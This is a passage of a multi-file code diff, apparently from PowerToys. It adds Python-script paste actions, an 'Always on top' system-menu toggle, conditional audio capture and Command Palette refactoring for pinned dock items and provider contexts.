public OptionsViewModel(IFileSystem fileSystem, IAICredentialsProvider credentialsProvider, IUserSettings userSettings, IPasteFormatExecutor pasteFormatExecutor)
public OptionsViewModel(IFileSystem fileSystem, IAICredentialsProvider credentialsProvider, IUserSettings userSettings, IPasteFormatExecutor pasteFormatExecutor, IPythonScriptService pythonScriptService)
{
_credentialsProvider = credentialsProvider;
_userSettings = userSettings;
_pasteFormatExecutor = pasteFormatExecutor;
_pythonScriptService = pythonScriptService;
GeneratedResponses = [];
GeneratedResponses.CollectionChanged += (s, e) =>
@@ -413,12 +418,51 @@ namespace AdvancedPaste.ViewModels
}
UpdateFormats(StandardPasteFormats, Enum.GetValues<PasteFormats>()
.Where(format => PasteFormat.MetadataDict[format].IsCoreAction || _userSettings.AdditionalActions.Contains(format))
.Where(format => format != PasteFormats.PythonScript &&
(PasteFormat.MetadataDict[format].IsCoreAction || _userSettings.AdditionalActions.Contains(format)))
.Select(CreateStandardPasteFormat));
UpdateFormats(
CustomActionPasteFormats,
IsCustomAIServiceEnabled ? _userSettings.CustomActions.Select(customAction => CreateCustomAIPasteFormat(customAction.Name, customAction.Prompt, isSavedQuery: true)) : []);
UpdateFormats(
PythonScriptPasteFormats,
BuildPythonScriptFormats());
}
private IEnumerable<PasteFormat> BuildPythonScriptFormats()
{
if (!_userSettings.IsPythonScriptsEnabled)
{
yield break;
}
var folder = _userSettings.PythonScriptsFolder;
if (string.IsNullOrWhiteSpace(folder))
{
yield break;
}
var discoveredScripts = _pythonScriptService.DiscoverScripts(folder);
var scriptActions = _userSettings.PythonScriptActions;
// Use metadata from discovered scripts, but apply IsShown from saved settings.
var hiddenPaths = new System.Collections.Generic.HashSet<string>(
scriptActions.Where(a => !a.IsShown).Select(a => a.ScriptPath),
StringComparer.OrdinalIgnoreCase);
foreach (var meta in discoveredScripts)
{
if (hiddenPaths.Contains(meta.ScriptPath) || !meta.IsEnabled)
{
continue;
}
// Filter by intersection: only pass clipboard formats the script supports.
var filteredFormats = AvailableClipboardFormats & meta.SupportedFormats;
yield return PasteFormat.CreatePythonScriptFormat(meta.Name, meta.ScriptPath, filteredFormats);
}
}
public void Dispose()
@@ -692,7 +736,10 @@ namespace AdvancedPaste.ViewModels
_pasteActionCancellationTokenSource = new();
TransformProgress = double.NaN;
PasteActionError = PasteActionError.None;
Query = pasteFormat.Query;
// For Python scripts the Prompt field holds the file path, not a user-visible query.
// Setting Query to the path would show it in the AI prompt box, which is misleading.
Query = pasteFormat.Format == PasteFormats.PythonScript ? string.Empty : pasteFormat.Query;
try
{
@@ -732,7 +779,7 @@ namespace AdvancedPaste.ViewModels
internal async Task ExecutePasteFormatAsync(VirtualKey key)
{
var pasteFormat = StandardPasteFormats.Concat(CustomActionPasteFormats)
var pasteFormat = StandardPasteFormats.Concat(CustomActionPasteFormats).Concat(PythonScriptPasteFormats)
.Where(pasteFormat => pasteFormat.IsEnabled)
.ElementAtOrDefault(key - VirtualKey.Number1);

View File

@@ -5,7 +5,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidIPv4",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -46,7 +46,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidIPv6",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -87,7 +87,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzValidHosts",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"
@@ -128,7 +128,7 @@
"fuzzer": {
"$type": "libfuzzerDotNet",
"dll": "HostsEditor.FuzzTests.dll",
"class": "HostsEditor.FuzzTests.FuzzTests",
"class": "Hosts.FuzzTests.FuzzTests",
"method": "FuzzWriteAsync",
"FuzzingTargetBinaries": [
"PowerToys.Hosts.dll"

View File

@@ -940,10 +940,12 @@ VideoRecordingSession::VideoRecordingSession(
video.PixelAspectRatio().Denominator(1);
m_encodingProfile.Video(video);
// Always set up audio profile for loopback capture (stereo AAC)
auto audio = m_encodingProfile.Audio();
audio = winrt::AudioEncodingProperties::CreateAac(48000, 2, 192000);
m_encodingProfile.Audio(audio);
if (captureAudio || captureSystemAudio)
{
auto audio = m_encodingProfile.Audio();
audio = winrt::AudioEncodingProperties::CreateAac(48000, 2, 192000);
m_encodingProfile.Audio(audio);
}
// Describe our input: uncompressed BGRA8 buffers
auto properties = winrt::VideoEncodingProperties::CreateUncompressed(
@@ -964,8 +966,14 @@ VideoRecordingSession::VideoRecordingSession(
winrt::check_hresult(m_previewSwapChain->GetBuffer(0, winrt::guid_of<ID3D11Texture2D>(), backBuffer.put_void()));
winrt::check_hresult(m_d3dDevice->CreateRenderTargetView(backBuffer.get(), nullptr, m_renderTargetView.put()));
// Always create audio generator for loopback capture; captureAudio controls microphone
m_audioGenerator = std::make_unique<AudioSampleGenerator>(captureAudio, captureSystemAudio, micMonoMix);
if (captureAudio || captureSystemAudio)
{
m_audioGenerator = std::make_unique<AudioSampleGenerator>(captureAudio, captureSystemAudio, micMonoMix);
}
else
{
m_audioGenerator = nullptr;
}
}
@@ -1207,14 +1215,8 @@ void VideoRecordingSession::OnMediaStreamSourceSampleRequested(
{
try
{
if (auto sample = m_audioGenerator->TryGetNextSample())
{
request.Sample(sample.value());
}
else
{
request.Sample(nullptr);
}
auto sample = m_audioGenerator ? m_audioGenerator->TryGetNextSample() : std::optional<winrt::MediaStreamSample>{};
request.Sample(sample.has_value() ? sample.value() : nullptr);
}
catch (winrt::hresult_error const& error)
{

View File

@@ -21,6 +21,25 @@ namespace NonLocalizable
{
const static wchar_t* TOOL_WINDOW_CLASS_NAME = L"AlwaysOnTopWindow";
const static wchar_t* WINDOW_IS_PINNED_PROP = L"AlwaysOnTop_Pinned";
constexpr UINT SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND = 0xEFE0;
constexpr DWORD SYSTEM_EVENT_MENU_POPUP_START = 0x0006;
constexpr DWORD SYSTEM_EVENT_MENU_POPUP_END = 0x0007;
}
namespace
{
void UnsubscribeEvents(std::vector<HWINEVENTHOOK>& hooks) noexcept
{
for (const auto hook : hooks)
{
if (hook)
{
UnhookWinEvent(hook);
}
}
hooks.clear();
}
}
bool isExcluded(HWND window)
@@ -32,7 +51,7 @@ bool isExcluded(HWND window)
}
AlwaysOnTop::AlwaysOnTop(bool useLLKH, DWORD mainThreadId) :
SettingsObserver({SettingId::FrameEnabled, SettingId::Hotkey, SettingId::ExcludeApps}),
SettingsObserver({SettingId::FrameEnabled, SettingId::Hotkey, SettingId::ExcludeApps, SettingId::ShowInSystemMenu}),
m_hinstance(reinterpret_cast<HINSTANCE>(&__ImageBase)),
m_useCentralizedLLKH(useLLKH),
m_mainThreadId(mainThreadId),
@@ -53,6 +72,11 @@ AlwaysOnTop::AlwaysOnTop(bool useLLKH, DWORD mainThreadId) :
SubscribeToEvents();
StartTrackingTopmostWindows();
if (HWND foregroundWindow = GetForegroundWindow())
{
UpdateSystemMenuItem(foregroundWindow);
}
}
else
{
@@ -144,6 +168,13 @@ void AlwaysOnTop::SettingsUpdate(SettingId id)
}
}
break;
case SettingId::ShowInSystemMenu:
{
UpdateSystemMenuEventHooks(AlwaysOnTopSettings::settings().showInSystemMenu);
m_lastSystemMenuWindow = nullptr;
UpdateSystemMenuItem(GetForegroundWindow());
}
break;
default:
break;
}
@@ -225,6 +256,8 @@ void AlwaysOnTop::ProcessCommand(HWND window)
{
m_sound.Play(soundType);
}
UpdateSystemMenuItem(window);
}
void AlwaysOnTop::StartTrackingTopmostWindows()
@@ -414,6 +447,86 @@ void AlwaysOnTop::SubscribeToEvents()
Logger::error(L"Failed to set win event hook");
}
}
UpdateSystemMenuEventHooks(AlwaysOnTopSettings::settings().showInSystemMenu);
}
void AlwaysOnTop::UpdateSystemMenuEventHooks(bool enable)
{
constexpr std::array<DWORD, 3> menu_events_to_subscribe = {
NonLocalizable::SYSTEM_EVENT_MENU_POPUP_START,
NonLocalizable::SYSTEM_EVENT_MENU_POPUP_END,
EVENT_OBJECT_INVOKED,
};
if (enable)
{
if (m_systemMenuWinEventHooks.size() == menu_events_to_subscribe.size())
{
return;
}
// Recover from any partial hook registration before re-registering.
UnsubscribeEvents(m_systemMenuWinEventHooks);
for (const auto event : menu_events_to_subscribe)
{
auto hook = SetWinEventHook(event, event, nullptr, WinHookProc, 0, 0, WINEVENT_OUTOFCONTEXT | WINEVENT_SKIPOWNPROCESS);
if (hook)
{
m_systemMenuWinEventHooks.emplace_back(hook);
}
else
{
Logger::error(L"Failed to set system menu win event hook");
}
}
}
else
{
UnsubscribeEvents(m_systemMenuWinEventHooks);
}
}
void AlwaysOnTop::UpdateSystemMenuItem(HWND window) const noexcept
{
if (!window || !IsWindow(window))
{
return;
}
const auto systemMenu = GetSystemMenu(window, false);
if (!systemMenu)
{
return;
}
if (!AlwaysOnTopSettings::settings().showInSystemMenu)
{
if (GetMenuState(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND) != static_cast<UINT>(-1))
{
RemoveMenu(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND);
}
return;
}
auto text = GET_RESOURCE_STRING(IDS_SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP);
MENUITEMINFOW menuItemInfo{};
menuItemInfo.cbSize = sizeof(menuItemInfo);
menuItemInfo.fMask = MIIM_ID | MIIM_STATE | MIIM_STRING;
menuItemInfo.wID = NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND;
menuItemInfo.fState = IsPinned(window) ? MFS_CHECKED : MFS_UNCHECKED;
menuItemInfo.dwTypeData = text.data();
if (GetMenuState(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND) == static_cast<UINT>(-1))
{
InsertMenuItemW(systemMenu, SC_CLOSE, FALSE, &menuItemInfo);
}
else
{
menuItemInfo.fMask = MIIM_STATE | MIIM_STRING;
SetMenuItemInfoW(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, FALSE, &menuItemInfo);
}
}
void AlwaysOnTop::UnpinAll()
@@ -434,6 +547,9 @@ void AlwaysOnTop::UnpinAll()
void AlwaysOnTop::CleanUp()
{
UnsubscribeEvents(m_systemMenuWinEventHooks);
UnsubscribeEvents(m_staticWinEventHooks);
UnpinAll();
if (m_window)
{
@@ -492,6 +608,79 @@ bool AlwaysOnTop::IsTracked(HWND window) const noexcept
void AlwaysOnTop::HandleWinHookEvent(WinHookEvent* data) noexcept
{
switch (data->event)
{
case NonLocalizable::SYSTEM_EVENT_MENU_POPUP_START:
{
if (data->idObject == OBJID_SYSMENU && data->hwnd)
{
m_lastSystemMenuWindow = AlwaysOnTopSettings::settings().showInSystemMenu ? data->hwnd : nullptr;
UpdateSystemMenuItem(data->hwnd);
}
}
return;
case NonLocalizable::SYSTEM_EVENT_MENU_POPUP_END:
{
if (data->idObject == OBJID_SYSMENU && data->hwnd == m_lastSystemMenuWindow)
{
m_lastSystemMenuWindow = nullptr;
}
}
return;
case EVENT_OBJECT_INVOKED:
{
if (!AlwaysOnTopSettings::settings().showInSystemMenu)
{
return;
}
if (data->idChild != static_cast<LONG>(NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND))
{
return;
}
const bool isMenuRelatedObject = (data->idObject == OBJID_SYSMENU || data->idObject == OBJID_MENU || data->idObject == OBJID_CLIENT);
if (!isMenuRelatedObject && (!m_lastSystemMenuWindow || !IsWindow(m_lastSystemMenuWindow)))
{
return;
}
const auto hasToggleMenuItem = [](HWND window) -> bool {
if (!window || !IsWindow(window))
{
return false;
}
const auto systemMenu = GetSystemMenu(window, false);
return systemMenu &&
GetMenuState(systemMenu, NonLocalizable::SYSTEM_MENU_TOGGLE_ALWAYS_ON_TOP_COMMAND, MF_BYCOMMAND) != static_cast<UINT>(-1);
};
HWND commandWindow = nullptr;
const auto trySetCommandWindow = [&](HWND candidate) noexcept {
if (!commandWindow && hasToggleMenuItem(candidate))
{
commandWindow = candidate;
}
};
if (m_lastSystemMenuWindow && IsWindow(m_lastSystemMenuWindow))
{
trySetCommandWindow(m_lastSystemMenuWindow);
}
trySetCommandWindow(data->hwnd);
trySetCommandWindow(GetForegroundWindow());
if (commandWindow)
{
ProcessCommand(commandWindow);
}
}
return;
default:
break;
}
if (!AlwaysOnTopSettings::settings().enableFrame || !data->hwnd)
{
return;
@@ -566,6 +755,8 @@ void AlwaysOnTop::HandleWinHookEvent(WinHookEvent* data) noexcept
break;
case EVENT_SYSTEM_FOREGROUND:
{
UpdateSystemMenuItem(data->hwnd);
if (!is_process_elevated() && IsProcessOfWindowElevated(data->hwnd))
{
m_notificationUtil->WarnIfElevationIsRequired(GET_RESOURCE_STRING(IDS_ALWAYSONTOP),
@@ -776,4 +967,4 @@ void AlwaysOnTop::RestoreWindowAlpha(HWND window)
SetWindowLong(window, GWL_EXSTYLE, exStyle & ~WS_EX_LAYERED);
}
}
}
}

View File

@@ -45,6 +45,7 @@ private:
static inline AlwaysOnTop* s_instance = nullptr;
std::vector<HWINEVENTHOOK> m_staticWinEventHooks{};
std::vector<HWINEVENTHOOK> m_systemMenuWinEventHooks{};
Sound m_sound;
VirtualDesktopUtils m_virtualDesktopUtils;
@@ -69,15 +70,18 @@ private:
std::thread m_thread;
const bool m_useCentralizedLLKH;
bool m_running = true;
HWND m_lastSystemMenuWindow{ nullptr };
std::unique_ptr<notifications::NotificationUtil> m_notificationUtil;
LRESULT WndProc(HWND, UINT, WPARAM, LPARAM) noexcept;
void HandleWinHookEvent(WinHookEvent* data) noexcept;
void UpdateSystemMenuItem(HWND window) const noexcept;
bool InitMainWindow();
void RegisterHotkey() const;
void RegisterLLKH();
void SubscribeToEvents();
void UpdateSystemMenuEventHooks(bool enable);
void ProcessCommand(HWND window);
void StartTrackingTopmostWindows();

View File

@@ -131,4 +131,7 @@
<data name="System_Foreground_Elevated_Dialog_Dont_Show_Again" xml:space="preserve">
<value>Don't show again</value>
</data>
</root>
<data name="System_Menu_Toggle_Always_On_Top" xml:space="preserve">
<value>Always on top</value>
</data>
</root>

View File

@@ -14,6 +14,7 @@ namespace NonLocalizable
const static wchar_t* HotkeyID = L"hotkey";
const static wchar_t* SoundEnabledID = L"sound-enabled";
const static wchar_t* ShowInSystemMenuID = L"show-in-system-menu";
const static wchar_t* FrameEnabledID = L"frame-enabled";
const static wchar_t* FrameThicknessID = L"frame-thickness";
const static wchar_t* FrameColorID = L"frame-color";
@@ -115,6 +116,16 @@ void AlwaysOnTopSettings::LoadSettings()
}
}
if (const auto jsonVal = values.get_bool_value(NonLocalizable::ShowInSystemMenuID))
{
auto val = *jsonVal;
if (m_settings.showInSystemMenu != val)
{
m_settings.showInSystemMenu = val;
NotifyObservers(SettingId::ShowInSystemMenu);
}
}
if (const auto jsonVal = values.get_int_value(NonLocalizable::FrameThicknessID))
{
auto val = *jsonVal;

View File

@@ -18,6 +18,7 @@ struct Settings
static constexpr int minTransparencyPercentage = 20; // minimum transparency (can't go below 20%)
static constexpr int maxTransparencyPercentage = 100; // maximum (fully opaque)
static constexpr int transparencyStep = 10; // step size for +/- adjustment
bool showInSystemMenu = false;
bool enableFrame = true;
bool enableSound = true;
bool roundCornersEnabled = true;
@@ -56,4 +57,4 @@ private:
std::unordered_set<SettingsObserver*> m_observers;
void NotifyObservers(SettingId id) const;
};
};

View File

@@ -4,6 +4,7 @@ enum class SettingId
{
Hotkey = 0,
SoundEnabled,
ShowInSystemMenu,
FrameEnabled,
FrameThickness,
FrameColor,
@@ -12,4 +13,4 @@ enum class SettingId
ExcludeApps,
FrameAccentColor,
RoundCornersEnabled
};
};

View File

@@ -264,3 +264,15 @@ dotnet_style_prefer_simplified_interpolation = true:suggestion
[*.{cs,vb}]
# CS8305: Type is for evaluation purposes only and is subject to change or removal in future updates.
dotnet_diagnostic.CS8305.severity = suggestion
##################################################
# Solutions and projects
##################################################
[*.{*proj,props,target}]
tab_width = 2
indent_size = 2
end_of_line = crlf
indent_style = space
insert_final_newline = true
trim_trailing_whitespace = true

View File

@@ -26,6 +26,11 @@
"input": "pushd .\\ExtensionTemplate\\ ; git archive -o ..\\Microsoft.CmdPal.UI.ViewModels\\Assets\\template.zip HEAD -- .\\TemplateCmdPalExtension\\ ; popd",
"name": "Update template project",
"description": "zips up the ExtensionTemplate into our assets. Run this in the cmdpal/ directory."
},
{
"input": " .\\extensionsdk\\nuget\\BuildSDKHelper.ps1 -VersionOfSDK 0.0.1",
"name": "Build SDK",
"description": "Builds the SDK nuget package with the specified version."
}
]
}

View File

@@ -2,8 +2,6 @@
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System;
namespace Microsoft.CmdPal.Common;
public static class CoreLogger
@@ -15,6 +13,8 @@ public static class CoreLogger
private static ILogger? _logger;
public static ILogger? Instance => _logger;
public static void LogError(string message, Exception ex, [System.Runtime.CompilerServices.CallerMemberName] string memberName = "", [System.Runtime.CompilerServices.CallerFilePath] string sourceFilePath = "", [System.Runtime.CompilerServices.CallerLineNumber] int sourceLineNumber = 0)
{
_logger?.LogError(message, ex, memberName, sourceFilePath, sourceLineNumber);

View File

@@ -0,0 +1,24 @@
// Copyright (c) Microsoft Corporation
// The Microsoft Corporation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Microsoft.CommandPalette.Extensions;
using Microsoft.CommandPalette.Extensions.Toolkit;
namespace Microsoft.CmdPal.Common.Helpers;
public partial class PinnedDockItem : WrappedDockItem
{
public override string Title => $"{base.Title} ({Properties.Resources.PinnedItemSuffix})";
public PinnedDockItem(ICommand command)
: base(command, command.Name)
{
}
public PinnedDockItem(IListItem item, string id)
: base([item], id, item.Title)
{
Icon = item.Icon;
}
}

View File

@@ -72,5 +72,14 @@ namespace Microsoft.CmdPal.Common.Properties {
return ResourceManager.GetString("ErrorReport_Global_Preamble", resourceCulture);
}
}
/// <summary>
/// Looks up a localized string similar to Pinned.
/// </summary>
internal static string PinnedItemSuffix {
get {
return ResourceManager.GetString("PinnedItemSuffix", resourceCulture);
}
}
}
}

View File

@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
@@ -117,6 +117,10 @@
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="PinnedItemSuffix" xml:space="preserve">
<value>Pinned</value>
<comment>Suffix shown for pinned items in the dock</comment>
</data>
<data name="ErrorReport_Global_Preamble" xml:space="preserve">
<value>This is an error report generated by Windows Command Palette.
If you are seeing this, it means something went a little sideways in the app.
@@ -124,4 +128,4 @@ You can help us fix it by filing a report at https://aka.ms/powerToysReportBug.
(While youre at it, give the details below a quick skim — just to make sure theres nothing personal youd prefer not to share. Its rare, but sometimes little surprises sneak in.)</value>
</data>
</root>
</root>

View File

@@ -166,5 +166,5 @@ public interface IAppHostService
AppExtensionHost GetHostForCommand(object? context, AppExtensionHost? currentHost);
CommandProviderContext GetProviderContextForCommand(object? command, CommandProviderContext? currentContext);
ICommandProviderContext GetProviderContextForCommand(object? command, ICommandProviderContext? currentContext);
}

View File

@@ -18,9 +18,9 @@ namespace Microsoft.CmdPal.UI.ViewModels;
public sealed partial class AppearanceSettingsViewModel : ObservableObject, IDisposable
{
private static readonly Color DefaultTintColor = Color.FromArgb(255, 0, 120, 212);
internal static readonly Color DefaultTintColor = Color.FromArgb(255, 0, 120, 212);
private static readonly ObservableCollection<Color> WindowsColorSwatches = [
internal static readonly ObservableCollection<Color> WindowsColorSwatches = [
// row 0
Color.FromArgb(255, 255, 185, 0), // #ffb900

View File

@@ -96,9 +96,10 @@ public partial class CommandBarViewModel : ObservableObject,
SecondaryCommand = SelectedItem.SecondaryCommand;
ShouldShowContextMenu = SelectedItem.MoreCommands
.OfType<CommandContextItemViewModel>()
.Count() > 1;
var hasMoreThanOneContextItem = SelectedItem.MoreCommands.Count() > 1;
var hasMoreThanOneCommand = SelectedItem.MoreCommands.OfType<CommandContextItemViewModel>().Any();
ShouldShowContextMenu = hasMoreThanOneContextItem && hasMoreThanOneCommand;
OnPropertyChanged(nameof(HasSecondaryCommand));
OnPropertyChanged(nameof(SecondaryCommand));

View File

@@ -22,7 +22,7 @@ public partial class CommandContextItemViewModel : CommandItemViewModel, IContex
public bool HasRequestedShortcut => RequestedShortcut is not null && (RequestedShortcut.Value != nullKeyChord);
public CommandContextItemViewModel(ICommandContextItem contextItem, WeakReference<IPageContext> context)
: base(new(contextItem), context)
: base(new(contextItem), context, contextMenuFactory: null)
{
Model = new(contextItem);
IsContextMenuItem = true;

View File

@@ -51,9 +51,11 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
private string _itemTitle = string.Empty;
public string Title => string.IsNullOrEmpty(_itemTitle) ? Name : _itemTitle;
protected string ItemTitle => _itemTitle;
public string Subtitle { get; private set; } = string.Empty;
public virtual string Title => string.IsNullOrEmpty(_itemTitle) ? Name : _itemTitle;
public virtual string Subtitle { get; private set; } = string.Empty;
private IconInfoViewModel _icon = new(null);
@@ -73,10 +75,30 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
public CommandItemViewModel? PrimaryCommand => this;
public CommandItemViewModel? SecondaryCommand => HasMoreCommands ? ActualCommands[0] : null;
public CommandItemViewModel? SecondaryCommand
{
get
{
if (HasMoreCommands)
{
if (MoreCommands[0] is CommandContextItemViewModel command)
{
return command;
}
}
return null;
}
}
public bool ShouldBeVisible => !string.IsNullOrEmpty(Name);
public bool HasTitle => !string.IsNullOrEmpty(Title);
public bool HasSubtitle => !string.IsNullOrEmpty(Subtitle);
public virtual bool HasText => HasTitle || HasSubtitle;
public DataPackageView? DataPackage { get; private set; }
public List<IContextItemViewModel> AllCommands
@@ -103,7 +125,7 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
public CommandItemViewModel(
ExtensionObject<ICommandItem> item,
WeakReference<IPageContext> errorContext,
IContextMenuFactory? contextMenuFactory = null)
IContextMenuFactory? contextMenuFactory)
: base(errorContext)
{
_commandItemModel = item;
@@ -331,11 +353,13 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
UpdateProperty(nameof(Name));
UpdateProperty(nameof(Title));
UpdateProperty(nameof(Icon));
UpdateProperty(nameof(HasText));
break;
case nameof(Title):
_itemTitle = model.Title;
_titleCache.Invalidate();
UpdateProperty(nameof(HasText));
break;
case nameof(Subtitle):
@@ -343,6 +367,7 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
this.Subtitle = modelSubtitle;
_defaultCommandContextItemViewModel?.Subtitle = modelSubtitle;
_subtitleCache.Invalidate();
UpdateProperty(nameof(HasText));
break;
case nameof(Icon):
@@ -401,11 +426,10 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
}
}
private void UpdateDefaultContextItemIcon()
{
private void UpdateDefaultContextItemIcon() =>
// Command icon takes precedence over our icon on the primary command
_defaultCommandContextItemViewModel?.UpdateIcon(Command.Icon.IsSet ? Command.Icon : _icon);
}
private void UpdateTitle(string? title)
{
@@ -464,6 +488,30 @@ public partial class CommandItemViewModel : ExtensionObjectViewModel, ICommandBa
.ForEach(c => c.SafeCleanup());
}
public void RefreshMoreCommands()
{
Task.Run(RefreshMoreCommandsSynchronous);
}
private void RefreshMoreCommandsSynchronous()
{
try
{
BuildAndInitMoreCommands();
UpdateProperty(nameof(MoreCommands));
UpdateProperty(nameof(AllCommands));
UpdateProperty(nameof(SecondaryCommand));
UpdateProperty(nameof(SecondaryCommandName));
UpdateProperty(nameof(HasMoreCommands));
}
catch (Exception ex)
{
// Handle any exceptions that might occur during the refresh process
CoreLogger.LogError("Error refreshing MoreCommands in CommandItemViewModel", ex);
ShowException(ex, _commandItemModel?.Unsafe?.Title);
}
}
protected override void UnsafeCleanup()
{
base.UnsafeCleanup();

View File

@@ -8,7 +8,7 @@ namespace Microsoft.CmdPal.UI.ViewModels;
public partial class CommandPaletteContentPageViewModel : ContentPageViewModel
{
public CommandPaletteContentPageViewModel(IContentPage model, TaskScheduler scheduler, AppExtensionHost host, CommandProviderContext providerContext)
public CommandPaletteContentPageViewModel(IContentPage model, TaskScheduler scheduler, AppExtensionHost host, ICommandProviderContext providerContext)
: base(model, scheduler, host, providerContext)
{
}

View File

@@ -10,19 +10,19 @@ public class CommandPalettePageViewModelFactory
: IPageViewModelFactoryService
{
private readonly TaskScheduler _scheduler;
private readonly IContextMenuFactory? _contextMenuFactory;
private readonly IContextMenuFactory _contextMenuFactory;
public CommandPalettePageViewModelFactory(TaskScheduler scheduler, IContextMenuFactory? contextMenuFactory)
public CommandPalettePageViewModelFactory(TaskScheduler scheduler, IContextMenuFactory contextMenuFactory)
{
_scheduler = scheduler;
_contextMenuFactory = contextMenuFactory;
}
public PageViewModel? TryCreatePageViewModel(IPage page, bool nested, AppExtensionHost host, CommandProviderContext providerContext)
public PageViewModel? TryCreatePageViewModel(IPage page, bool nested, AppExtensionHost host, ICommandProviderContext providerContext)
{
return page switch
{
IListPage listPage => new ListViewModel(listPage, _scheduler, host, providerContext, _contextMenuFactory) { IsNested = nested },
IListPage listPage => new ListViewModel(listPage, _scheduler, host, providerContext, _contextMenuFactory) { IsRootPage = !nested },
IContentPage contentPage => new CommandPaletteContentPageViewModel(contentPage, _scheduler, host, providerContext),
_ => null,
};

View File

@@ -4,9 +4,21 @@
namespace Microsoft.CmdPal.UI.ViewModels;
public sealed class CommandProviderContext
public static class CommandProviderContext
{
public required string ProviderId { get; init; }
public static ICommandProviderContext Empty { get; } = new EmptyCommandProviderContext();
public static CommandProviderContext Empty { get; } = new() { ProviderId = "<EMPTY>" };
private sealed class EmptyCommandProviderContext : ICommandProviderContext
{
public string ProviderId => "<EMPTY>";
public bool SupportsPinning => false;
}
}
public interface ICommandProviderContext
{
string ProviderId { get; }
bool SupportsPinning { get; }
}

View File

@@ -6,6 +6,7 @@ using ManagedCommon;
using Microsoft.CmdPal.Common.Services;
using Microsoft.CmdPal.UI.ViewModels.Models;
using Microsoft.CmdPal.UI.ViewModels.Services;
using Microsoft.CmdPal.UI.ViewModels.Settings;
using Microsoft.CommandPalette.Extensions;
using Microsoft.CommandPalette.Extensions.Toolkit;
using Microsoft.Extensions.DependencyInjection;
@@ -13,7 +14,7 @@ using Windows.Foundation;
namespace Microsoft.CmdPal.UI.ViewModels;
public sealed class CommandProviderWrapper
public sealed class CommandProviderWrapper : ICommandProviderContext
{
public bool IsExtension => Extension is not null;
@@ -29,6 +30,8 @@ public sealed class CommandProviderWrapper
public TopLevelViewModel[] FallbackItems { get; private set; } = [];
public TopLevelViewModel[] DockBandItems { get; private set; } = [];
public string DisplayName { get; private set; } = string.Empty;
public IExtensionWrapper? Extension { get; }
@@ -47,12 +50,17 @@ public sealed class CommandProviderWrapper
public string ProviderId => string.IsNullOrEmpty(Extension?.ExtensionUniqueId) ? Id : Extension.ExtensionUniqueId;
public bool SupportsPinning { get; private set; }
public TopLevelItemPageContext TopLevelPageContext { get; }
public CommandProviderWrapper(ICommandProvider provider, TaskScheduler mainThread)
{
// This ctor is only used for in-proc builtin commands. So the Unsafe!
// calls are pretty dang safe actually.
_commandProvider = new(provider);
_taskScheduler = mainThread;
TopLevelPageContext = new(this, _taskScheduler);
// Hook the extension back into us
ExtensionHost = new CommandPaletteHost(provider);
@@ -77,6 +85,7 @@ public sealed class CommandProviderWrapper
{
_taskScheduler = mainThread;
_commandProviderCache = commandProviderCache;
TopLevelPageContext = new(this, _taskScheduler);
Extension = extension;
ExtensionHost = new CommandPaletteHost(extension);
@@ -121,7 +130,7 @@ public sealed class CommandProviderWrapper
return settings.GetProviderSettings(this);
}
public async Task LoadTopLevelCommands(IServiceProvider serviceProvider, WeakReference<IPageContext> pageContext)
public async Task LoadTopLevelCommands(IServiceProvider serviceProvider)
{
if (!isValid)
{
@@ -140,25 +149,47 @@ public sealed class CommandProviderWrapper
return;
}
ICommandItem[]? commands = null;
IFallbackCommandItem[]? fallbacks = null;
ICommandItem[] dockBands = []; // do not initialize me to null
var displayInfoInitialized = false;
try
{
var model = _commandProvider.Unsafe!;
Task<ICommandItem[]> loadTopLevelCommandsTask = new(model.TopLevelCommands);
loadTopLevelCommandsTask.Start();
var commands = await loadTopLevelCommandsTask.ConfigureAwait(false);
commands = await loadTopLevelCommandsTask.ConfigureAwait(false);
// On a BG thread here
var fallbacks = model.FallbackCommands();
fallbacks = model.FallbackCommands();
if (model is ICommandProvider2 two)
{
UnsafePreCacheApiAdditions(two);
}
// Load pinned commands from saved settings
var pinnedCommands = LoadPinnedCommands(model, providerSettings);
if (model is ICommandProvider3 supportsDockBands)
{
var bands = supportsDockBands.GetDockBands();
if (bands is not null)
{
Logger.LogDebug($"Found {bands.Length} bands on {DisplayName} ({ProviderId}) ");
dockBands = bands;
}
}
ICommandItem[] pinnedCommands = [];
ICommandProvider4? four = null;
